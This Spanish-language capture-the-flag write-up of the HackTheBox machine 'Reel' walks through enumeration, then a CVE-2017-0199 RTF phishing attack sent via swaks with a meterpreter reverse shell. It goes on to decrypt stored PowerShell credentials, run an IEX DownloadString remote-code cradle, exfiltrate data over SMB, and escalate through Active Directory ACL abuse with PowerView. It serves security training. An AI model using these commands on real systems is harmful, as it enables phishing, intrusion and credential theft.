Cómo comprometer un Windows por medio de un archivo RTF

Cómo comprometer un Windows por medio de un archivo RTF

Hello Cyber-Spartans!!
Hoy aprenderemos una variedad de cosas interesantes, todo gracias a la máquina HackTheBox llamada Reel.
Antes de empezar quiero aclarar que todo mi contenido publicado se hace con fines educativos, informativos y éticos.
No me hago responsable del mal uso que puedan darle.

Con este tutorial aprenderás:

  • Cómo realizar un simple escaneo de puertos con Nmap.
  • Cómo enumerar el puerto FTP
  • Cómo enumerar el puerto SMTP
  • Cómo extraer los metadatos de un archivo con exiftool
  • Cómo realizar un ataque de suplantación de identidad
  • Cómo hacer un Phishing con un archivo de office (.RTF)
  • Como usar Metasploit
  • Cómo enviar mensajes de correo electrónico a través de SMTP utilizando swaks
  • Cómo instalar y utilizar BloodHound
  • Identificando Active Directory Privileges & Privileged Accounts

Hacking Reel

Como en cualquier otra auditoria de seguridad se debe comenzar con una enumeración del sistema.
Para ello realizaremos un simple escaneo con Nmap, de la siguiente manera.

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # nmap -p- -sC -sV -Pn -oN Reel.nmap 10.10.10.77

Nmap scan report for 10.10.10.77
Host is up (0.021s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18 11:19PM <DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49159/tcp open msrpc Microsoft Windows RPC

Con el anterior escaneo de puertos que hicimos con Nmap, conseguimos identificar los puertos 21 (FTP),22 (SSH),25 (SMTP) abiertos.

Enumeración FTP (Puerto 21)

Uno de los hallazgos encontrados con la exploración NMAP es el acceso con el usuario “anonymous” para el servicio FTP.
Por lo tanto, podemos autenticar sobre este servicio y revisar su contenido.

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # ftp 10.10.10.77

Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.

There are a variety of commands available for FTP, the most common are:

FTP Command Description of Command
cd Change remote working directory
dir list contents of remote directory
get receive file
ls list contents of remote directory
mget get multiple files
mkdir make directory on remote machine
mput send multiple files
open connect to remote ftp
put send one file
quit terminate ftp session and exit

Continuaremos, enumerando los archivos del servidor.

ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
05-29-18  12:19AM       <DIR>          documents
226 Transfer complete.
ftp> cd documents
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
05-29-18  12:19AM                 2047 AppLocker.docx
05-28-18  02:01PM                  124 readme.txt
10-31-17  10:13PM                14581 Windows Event Forwarding.docx
226 Transfer complete.

Para descargar archivos vía FTP, podemos ejecutar lo siguiente:

ftp> prompt
Interactive mode off.
ftp> mget *
local: AppLocker.docx remote: AppLocker.docx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2047 bytes received in 0.10 secs (19.2425 kB/s)
local: readme.txt remote: readme.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
124 bytes received in 0.10 secs (1.1592 kB/s)
local: Windows Event Forwarding.docx remote: Windows Event Forwarding.docx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
14581 bytes received in 0.19 secs (68.8589 kB/s)

Otra forma de realizar esta descarga sería utilizando el binario WGET.

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # wget -r ftp://10.10.10.77

El archivo “Windows Event Forwarding.docx” contenía la dirección de correo electrónico del usuario nico@megabank.com en el campo de metadatos del creador del documento, que podía verse con exiftool.

Extracción de metadatos con exiftool

ExifTool es un programa de software gratuito y de código abierto para leer, escribir y manipular metadatos de imágenes, audio, vídeo y PDF.
Articulo Completo
Si quieres saber cómo se instala esta herramienta, te invito al siguiente artículo.

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # exiftool "Windows Event Forwarding.docx"

La salida del comando anterior es la siguiente:

ExifTool Version Number         : 11.16
File Name                       : Windows Event Forwarding.docx
Directory                       : .
File Size                       : 14 kB
File Modification Date/Time     : 2017:10:31 22:13:00-05:00
File Access Date/Time           : 2019:04:28 10:17:33-05:00
File Inode Change Date/Time     : 2019:04:27 20:52:11-05:00
File Permissions                : rw-r--r--
File Type                       : DOCX
File Type Extension             : docx
MIME Type                       : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x82872409
Zip Compressed Size             : 385
Zip Uncompressed Size           : 1422
Zip File Name                   : [Content_Types].xml
Creator                         : nico@megabank.com
Revision Number                 : 4
Create Date                     : 2017:10:31 18:42
Modify Date                     : 2017:10:31 18:51
Template                        : Normal.dotm
Total Edit Time                 : 5 minutes
Pages                           : 2
Words                           : 299
Characters                      : 1709
Application                     : Microsoft Office Word
Doc Security                    : None
Lines                           : 14
Paragraphs                      : 4
Scale Crop                      : No
Heading Pairs                   : Title, 1
Titles Of Parts                 : 
Company                         : 
Links Up To Date                : No
Characters With Spaces          : 2004
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 14.0000

Por otro lado, el archivo readme.txt simplemente contenía:

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # cat readme.txt

please email me any rtf format procedures — I’ll review and convert.
new format / converted documents will be saved here.

Enumeracion de SMTP (Puerto 25)

Para la enumeración del servicio SMTP, es útil enumerar los usuarios válidos.
Una forma de validar lo anterior es utilizando TELNET.

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # telnet 10.10.10.77 25

Los comandos más comunes para TELNET son los siguientes:

SMTP Command Description of Command
HELO It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
EHLO An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.
MAIL FROM With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.
RCPT TO It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.
DATA With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.
VRFY The server is asked to verify whether a particular email address or username actually exists.
QUIT It terminates the SMTP conversation.

Al intentar verificar la cuenta de correo electrónico nico@megabank.com mediante el comando VRFY a través de SMTP, el comando fue rechazado. Sin embargo, el comando RCPT se puede utilizar para enumerar las cuentas de correo electrónico válidas:

Trying 10.10.10.77...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready
HELO anything here
250 Hello.
VRFY nico@megabank.com
502 VRFY disallowed.
MAIL From: <gerh@domain.com>
250 OK
RCPT To: <nico@megabank.com>
250 OK
RCPT To: <gerh@megabank.com>
550 Unknown user
QUIT
221 goodbye
Connection closed by foreign host.

Otra forma de validar esto es utilizando la herramienta smtp-enum-users.

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # smtp-user-enum -M RCPT -U users.txt -t 10.10.10.77

Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... users.txt
Target count ............. 1
Username count ........... 14
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Mon Jun 14 02:34:42 2019 #########

10.10.10.77: reel@htb exists
10.10.10.77: reel@reel.htb exists
10.10.10.77: root@htb exists
10.10.10.77: admin@htb exists
10.10.10.77: administrator@htb exists
10.10.10.77: test@htb exists
10.10.10.77: nico@megabank.com exists
######## Scan completed at Mon Jun 14 02:34:42 2019 #########

8 results.
13 queries in 1 seconds (13.0 queries / sec)

Antes de realizar la exploración previa, escribimos una lista de posibles correos electrónicos existentes.
El contenido del archivo users.txt es el siguiente:

reel
reel@htb
reel@reel.htb
root
root@htb
admin
admin@htb
administrator
administrator@htb
test@htb
gerh@megabank.com
htb@metabank.com
nico@megabank.com

Realizar un ataque de phishing

La suplantación de correo electrónico se produce cuando un atacante (ciberdelincuente) falsifica un correo electrónico para que parezca que ha sido enviado por otra persona.
Con los resultados de la enumeración realizada anteriormente tenemos lo siguiente:
- Una cuenta de correo electrónico identificada como “nico@megabank.com”
- Un servidor SMTP que se ejecuta en el equipo auditado
- Alguien quiere recibir archivos .RTF

Realizando una búsqueda de formas de aprovechar la información recopilada hasta el momento podemos encontrar la existencia de CVE-2017-0199, que fue un Zero-Day crítico descubierto en abril de 2017 para Microsoft Office.
La descripción de Metasploit para esta vulnerabilidad es la siguiente:

Description: This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a olelink object can make a http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample.  

Basically this vulnerability leveraged .rtf files (some renamed to .doc) which would connect to a remote server (controlled by the attacker) in order to download a file that contains HTML application content, and executes as an .hta file. Because .hta is executable, the attacker gains full code execution on the victim’s machine. This logical bug also gives the attackers the power to bypass any memory-based mitigations developed by Microsoft.
Articulo Completo

Usando Metasploit

Vamos a proceder, con el uso del módulo metasploit para la CVE-2017-0199.

msf5 > use exploit/windows/fileformat/office_word_hta 
msf5 exploit(windows/fileformat/office_word_hta) > set SRVHOST 10.10.14.30
SRVHOST => 10.10.14.30
msf5 exploit(windows/fileformat/office_word_hta) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/fileformat/office_word_hta) > set LHOST 10.10.14.30
LHOST => 10.10.14.30
msf5 exploit(windows/fileformat/office_word_hta) > set FILENAME shell.rtf
FILENAME => shell.rtf
msf5 exploit(windows/fileformat/office_word_hta) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.30:4444 
msf5 exploit(windows/fileformat/office_word_hta) > [+] shell.rtf stored at /root/.msf4/local/shell.rtf
[*] Using URL: http://10.10.14.30:8080/default.hta
[*] Server started.

Este módulo creó el archivo malicioso shell.rtf y lo colocó en el directorio /root/.msf4/local/ al tiempo que alojaba el archivo .hta en un servidor web.

Envío de correos electrónicos con documentos adjuntos por SMTP mediante swaks

El siguiente paso es realizar un ataque de suplantación de identidad.
Enviaremos un correo electrónico a nico@megabank.com con el documento infectado adjunto.

Swaks es una herramienta de pruebas SMTP orientada a transacciones, flexible y con muchas funciones, escrita y mantenida por John Jetmore.
Articulo Completo

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # swaks --to nico@megabank.com --server 10.10.10.77 --attach /root/.msf4/local/shell.rtf

=== Trying 10.10.10.77:25...
=== Connected to 10.10.10.77.
<-  220 Mail Service ready
 -> EHLO BinaryChaos
<-  250-REEL
<-  250-SIZE 20480000
<-  250-AUTH LOGIN PLAIN
<-  250 HELP
 -> MAIL FROM:<root@BinaryChaos>
<-  250 OK
 -> RCPT TO:<nico@megabank.com>
<-  250 OK
 -> DATA
<-  354 OK, send.
 -> Date: Sun, 23 Jun 2019 01:39:27 -0500
 -> To: nico@megabank.com
 -> From: root@BinaryChaos
 -> Subject: test Sun, 23 Jun 2019 01:39:27 -0500
 -> Message-Id: <20190623013927.006682@BinaryChaos>
 -> X-Mailer: swaks v20181104.0 jetmore.org/john/code/swaks/
 -> MIME-Version: 1.0
 -> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_6682"
 -> 
 -> ------=_MIME_BOUNDARY_000_6682
 -> Content-Type: text/plain
 -> 
 -> This is a test mailing
 -> ------=_MIME_BOUNDARY_000_6682
 -> Content-Type: application/octet-stream; name="shell.rtf"
 -> Content-Description: shell.rtf
 -> Content-Disposition: attachment; filename="shell.rtf"
 -> Content-Transfer-Encoding: BASE64
 -> 
 -> e1xydGYxXGFkZWZsYW5nMTAyNVxhbnNpXGFuc2ljcGcxMjUyXHVjMVxhZGVmZjMxNTA3XGRlZmYw
 -> MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
 -> MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAK
 -> MDEwNTAwMDAwMDAwMDAwMH0Ke1xyZXN1bHQge1xydGxjaFxmY3MxIFxhZjMxNTA3IFxsdHJjaFxm
 -> Y3MwIFxpbnNyc2lkMTk3OTMyNCB9fX19CntcKlxkYXRhc3RvcmUgfQp9Cg==
 -> 
 -> ------=_MIME_BOUNDARY_000_6682--
 -> .
<-  250 Queued (11.891 seconds)
 -> QUIT
<-  221 goodbye
=== Connection closed with remote host.

Después de enviar nuestro correo electrónico, sólo tenemos que esperar a que la víctima ejecute el archivo y de esta manera obtendremos RCE.

Persistencia (Nico => Tom)

El usuario nico tenía un archivo en su escritorio llamado cred.xml que parecía contener las credenciales de tom, otro usuario de Reel:

meterpreter > dir C:\Users\nico\Desktop
Listing: C:\Users\nico\Desktop
==============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  1468  fil   2017-10-27 18:59:16 -0500  cred.xml
100666/rw-rw-rw-  282   fil   2017-10-27 17:42:45 -0500  desktop.ini
100444/r--r--r--  32    fil   2017-10-27 18:40:33 -0500  user.txt
100666/rw-rw-rw-  162   fil   2017-10-27 16:34:38 -0500  ~$iledDeliveryNotification.doc

meterpreter > cat cred.xml 

El contenido del archivo es:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">HTB\Tom</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d2
0f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
    </Props>
  </Obj>
</Objs>

PowerShell tiene este objeto llamado PSCredential, que proporciona un método para almacenar nombres de usuario, contraseñas y credenciales. También hay dos funciones, Import-CliXml y Export-CliXml , que se utilizan para guardar estas credenciales y restaurarlas desde un archivo. Este archivo es la salida de Export-CliXml.
Para poder interactuar con el archivo xml como se pretende, el shell de meterpreter debe cargar la extensión de PowerShell utilizando el comando:

meterpreter > load powershell 
Loading extension powershell...Success.

meterpreter > powershell_shell

PS >

Para obtener una contraseña en texto plano del archivo cargándolo con Import-CliXml, y luego volcando los resultados:

PS > $tom=Import-CliXml -Path C:\Users\nico\Desktop\cred.xml
PS > $tom.GetNetworkCredential().Password
1ts-mag1c!!!

Esta contraseña de texto plano se utilizó para obtener acceso SSH a Reel como el usuario TOM.

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # ssh tom@10.10.10.77

tom@10.10.10.77  password:
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

tom@REEL C:\Users\tom>whoami
htb\tom

Escalada de privilegios a través de AD (Tom => Claire)

Enumeracion

En el directorio del escritorio del usuario Tom, había una carpeta titulada Auditoría AD que contenía artefactos de una auditoría de BloodHound Active Directory. Esto incluía una versión antigua de SharpHound.

C:\users\tom\desktop\AD Audit\BloodHound\Ingestors> dir
    Directory: C:\users\tom\desktop\AD Audit\BloodHound\Ingestors
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---        11/16/2017  11:50 PM     112225 acls.csv
-a---        10/28/2017   9:50 PM       3549 BloodHound.bin
-a---        10/24/2017   4:27 PM     246489 BloodHound_Old.ps1
-a---        10/24/2017   4:27 PM     568832 SharpHound.exe
-a---        10/24/2017   4:27 PM     636959 SharpHound.ps1

Identificando vulnerabilidades con BloodHound

SharpHound nos permite descubrir dependencias ocultas en entornos de Active Directory y, junto con BloodHound, que presenta una interfaz gráfica para ello, podemos descubrir fácilmente nuestro siguiente paso a seguir.
Actualizamos SharpHound.ps1 a la última versión y la subimos a la víctima.
Montamos un servidor HTTP en nuestra máquina atacante y servimos el archivo SharpHound actualizado.

┌─[root@BinaryChaos] - [/Ethic4l-Hacking/SERVER_FILE] - [Sun Jun 23, 03:02]
└─[$]> # python3 -m http.server 

Servidor HTTP iniciado en el puerto: http://localhost:8000

Luego lo descargamos en nuestra máquina comprometida.

PS C:\Users\tom> IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.4:8000/SharpHound.ps1')

Y ahora podemos ejecutar la función Invoke-BloodHound para recoger los datos necesarios, pero primero tendremos que ir a un directorio en el que podamos escribir sin riesgo de sobrescribir nada o no tener permisos de escritura:

PS C:\Users\tom> Invoke-BloodHound -CollectionMethod All
Initializing BloodHound at 3:20 AM on 8/19/2019                                                   
Resolved Collection 
Methods to Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM
Starting Enumeration for HTB.LOCAL
Status: 84 objects enumerated (+84 Infinity/s --- Using 101 MB RAM )
Finished enumeration for HTB.LOCAL in 00:00:00.4372083
0 hosts failed ping. 0 hosts timedout.                                                            

Compressing data to C:\Users\tom\20190819032010_BloodHound.zip.
You can upload this file directly to the UI.   
Finished compressing files!

Vamos a ir a lo grande y usar -CollectionMethod All ya que el archivo note.txt mencionado la consulta por defecto no encontró nada, así que necesitaremos todos los datos que seamos capaces de reunir. Después de un tiempo, el comando termina y vemos que se han creado varios archivos: archivos .json, un archivo .bin y un archivo .zip. Lo que BloodHound necesita es el archivo ZIP (que contiene todos los JSONs generados).
Para ello vamos a montar un servidor SMB en nuestro kali para copiar nuestro ZIP.

┌─[root@BinaryChaos] - [/Ethic4l-Hacking/Operations/Reel] - [Sun Jun 23, 03:43]
└─[$]> # impacket-smbserver share ./

Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.77,53670)
[*] AUTHENTICATE_MESSAGE (HTB\tom,REEL)
[*] User tom\REEL authenticated successfully
[*] tom::HTB:4141414141414141:f32c125f98f07b745854b6fecc485306:0101000000000000002c1abf9f29d50198eb9ab4ce28e01f0000000001001000450056004d00640074004f006b007a0002001000490068004a007800430054004e006f0003001000450056004d00640074004f006b007a0004001000490068004a007800430054004e006f0007000800002c1abf9f29d5010600040002000000080030003000000000000000000000000030000069dbc64191c63e04554ebe76cdc838449ef5e8448f9f556479081efefab5cba80a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0033003000000000000000000000000000

Para copiar archivos de un windows a un servidor SMB, debemos ejecutar lo siguiente:

tom@REEL C:\Users\tom>copy 20190623093056_BloodHound.zip \\10.10.14.30\share                   
        1 file(s) copied.

Bloodhound

Es una gran herramienta visual que muestra la relación entre múltiples objetos de Active Directory y permite evaluar de forma rápida la posibilidad de comprometer información relevante, además de identificar potenciales debilidades de seguridad.
Para instalar Bloodhound en Kali, se debe ejecutar:

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # apt install bloodhound

Despues de la instalación, se debe inicializar neo4j y para ello ejecutamos lo siguiente:

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # neo4j console

Active database: graph.db
Directories in use:
  home:         /usr/share/neo4j
  config:       /usr/share/neo4j/conf
  logs:         /usr/share/neo4j/logs
  plugins:      /usr/share/neo4j/plugins
  import:       /usr/share/neo4j/import
  data:         /usr/share/neo4j/data
  certificates: /usr/share/neo4j/certificates
  run:          /usr/share/neo4j/run
Starting Neo4j.
WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
2019-06-23 07:09:18.675+0000 INFO  ======== Neo4j 3.5.3 ========
2019-06-23 07:09:18.708+0000 INFO  Starting...
2019-06-23 07:09:24.362+0000 INFO  Bolt enabled on 127.0.0.1:7687.
2019-06-23 07:09:27.619+0000 INFO  Started.
2019-06-23 07:09:29.944+0000 INFO  Remote interface available at http://localhost:7474/

Después de iniciar sesión con las credenciales por defecto neo4j:neo4j, cargamos el archivo 20190623093056_BloodHound.zip desde la interfaz web de bloodhound.

Utilizando la opción “from” y “to” en bloodhound, logramos identificar una posible ruta desde Tom hasta el grupo “backup_admins”. Tenemos que pivotear hacia el usuario Claire. Como Tom es dueño del objeto usuario Claire, es posible que Tom tome la propiedad y modifique el DACL del objeto usuario Claire. Podemos abusar de esto para dar a Tom permisos para cambiar la contraseña de Claire. Para cambiar la DACL primero tenemos que tomar la propiedad del objeto Claire.

Analizando con BloodHound Analizando con BloodHound

Escalation Privilege

Tom => Claire

Conceptos Importantes!! WriteOwner : Proporciona la capacidad de tomar la propiedad de un objeto. El propietario de un objeto puede obtener todos los derechos de control sobre el mismo.
GenericWrite : Proporciona acceso de escritura a todas las propiedades.
WriteDacl : Proporciona la posibilidad de modificar la seguridad de un objeto, lo que puede llevar al control total del mismo.

Para pasar a la cuenta claire, utilizaremos el permiso WriteOwner junto con la funcionalidad de PowerView.
En resumen, debemos realizar los siguientes pasos:

  • 1.) Hazte dueño de la ACL de claire
  • 2.) Obtener permisos en esa ACL
  • 3.) Utiliza esos permisos para cambiar la contraseña
    Para ello, necesitaremos PowerView y PowerShell.
    Afortunadamente, hay una copia en C:\Users\tom\Desktop\AD Audit\BloodHound, Vamos a iniciar powershell e importar Powerview.
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound> powershell
Windows PowerShell
Copyright (C) 2014 Microsoft Corporation. All rights reserved.

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Import-Module C:\Users\tom\Desktop\AD Audit\BloodHound\PowerView.ps1

PASO 1
A continuación, tom tiene derechos de WriteOwner sobre el objeto de usuario claire. Así que establecemos a tom como propietario del objeto claire.

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom

PASO 2
Ahora que tom es el propietario del objeto claire, puede añadir entradas a la ACL. Es decir, ahora añadimos una entrada que le de a tom el derecho de cambiar la contraseña del objeto claire.

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=tom)(name=tom)(displayname=tom))))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=claire)(name=claire)(displayname=claire))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL 'ResetPassword' on CN=Claire
Danes,CN=Users,DC=HTB,DC=LOCAL
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL rights GUID 
'00299570-246d-11d0-a768-00aa006e0529' on CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL

PASO 3
Cambiar la contraseña de claire:

PS C:\Users\tom\Desktop\AD Audit\BloodHound> $ClairePassword = ConvertTo-SecureString Password1234 -AsPlainText -Force -Verbose
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -Identity claire -AccountPassword $ClairePassword -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'claire'
VERBOSE: [Set-DomainUserPassword] Password for user 'claire' successfully reset 

Además, debemos añadir al usuario Claire al grupo de dominio ‘Backup_Admins’ utilizando la función Add-DomainGroupMember:

PS C:\Users\tom\Desktop\AD Audit\BloodHound> $Cred = New-Object System.Management.Automation.PSCredential(HTB\claire, $ClairePassword)
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainGroupMember -Identity Backup_Admins -Members claire -Credential $Cred

Y ahora podemos usar nuestras nuevas credenciales para iniciar sesión a través de SSH con el usuario Claire:

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # ssh claire@10.10.10.77

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
claire@REEL C:\Users\claire> 

Del análisis anterior, sé que claire tiene derechos WriteDacl en el grupo Backup_Admins. Puedo usar eso para añadirla al grupo.

claire@REEL C:\Users\claire>net group backup_admins                        
Group name:     Backup_Admins
Comment:
Members:	ranj           
-------------------------------------------------------------------------------     
The command completed successfully.

claire@REEL C:\Users\claire>net group backup_admins claire /add
The command completed successfully.

Después de añadir al grupo “Backup_Admins”, podemos acceder a la carpeta C:\Users\Administrator.
Entre varios de sus archivos, encontramos un script con credenciales de acceso para iniciar sesión con el usuario Administrador.

claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1
admin password                
$password="Cr4ckMeIfYouC4n!"

Y listo hemos logrado comprometer al usuario Administrador del servidor.
Para validar esto, podemos utilizar las credenciales e iniciar sesión por SSH.

╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # ssh Administrator@10.10.10.77

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
administrator@REEL C:\Users\Administrator> 

Tutorial Explicativo